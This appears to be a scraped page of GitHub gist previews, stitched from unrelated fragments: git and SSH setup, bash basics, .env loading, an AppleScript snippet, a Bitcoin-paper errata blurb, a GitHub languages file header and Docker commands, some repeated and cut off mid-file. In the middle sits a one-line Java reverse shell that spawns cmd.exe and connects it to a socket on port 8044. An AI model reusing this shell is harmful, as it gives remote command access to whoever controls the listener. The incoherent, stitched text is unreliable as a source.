NOTE: Make sure you add bin
to the path for you to be able to run the command.
$ sudo service postgress start
/* | |
https://fullstack.pupilfirst.org | |
https://github.com/nseadlc-2020/package-todo-cli-task/tree/master/shared | |
*/ | |
const EOL = require('os').EOL | |
const fs = require('fs') | |
const PENDING_TODOS_FILE = 'todo.txt' | |
const COMPLETED_TODOS_FILE = 'done.txt' |
NOTE: Make sure you add bin
to the path for you to be able to run the command.
$ sudo service postgress start
git config --global user.name "your name"
git config --global user.email "yourEmail@email.com"
git config --global color.ui true
ssh-keygen -t rsa -C "yourEmail@email.com"
cat ~/.ssh/githubssh.pub
set inputVolume to input volume of (get volume settings)
if inputVolume = 0 then
set inputVolume to 100
display notification "Volume set to 100" with title "✅ Microphone is on"
#! /bin/bash | |
# ECHO COMMAND | |
# echo Hello World! | |
# VARIABLES | |
# Uppercase by convention | |
# Letters, numbers, underscores | |
NAME="Bob" | |
# echo "My name is $NAME" |
# The initial version | |
if [ ! -f .env ] | |
then | |
export $(cat .env | xargs) | |
fi | |
# My favorite from the comments. Thanks @richarddewit & others! | |
set -a && source .env && set +a |
A description of known problems in Satoshi Nakamoto's paper, "Bitcoin: A Peer-to-Peer Electronic Cash System", as well as notes on terminology changes and how Bitcoin's implementation differs from that described in the paper.
The longest chain not only serves as proof of the sequence of events witnessed, but proof that it came from the largest pool of CPU power.
String host="localhost"; | |
int port=8044; | |
String cmd="cmd.exe"; | |
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); |
# Defines all Languages known to GitHub. | |
# | |
# type - Either data, programming, markup, prose, or nil | |
# aliases - An Array of additional aliases (implicitly | |
# includes name.downcase) | |
# ace_mode - A String name of the Ace Mode used for highlighting whenever | |
# a file is edited. This must match one of the filenames in http://git.io/3XO_Cg. | |
# Use "text" if a mode does not exist. | |
# wrap - Boolean wrap to enable line wrapping (default: false) | |
# extensions - An Array of associated extensions (the first one is |
############################################################################### | |
# Helpful Docker commands and code snippets | |
############################################################################### | |
### CONTAINERS ### | |
docker stop $(docker ps -a -q) #stop ALL containers | |
docker rm -f $(docker ps -a -q) # remove ALL containers | |
docker rm -f $(sudo docker ps --before="container_id_here" -q) # can also filter | |
# exec into container |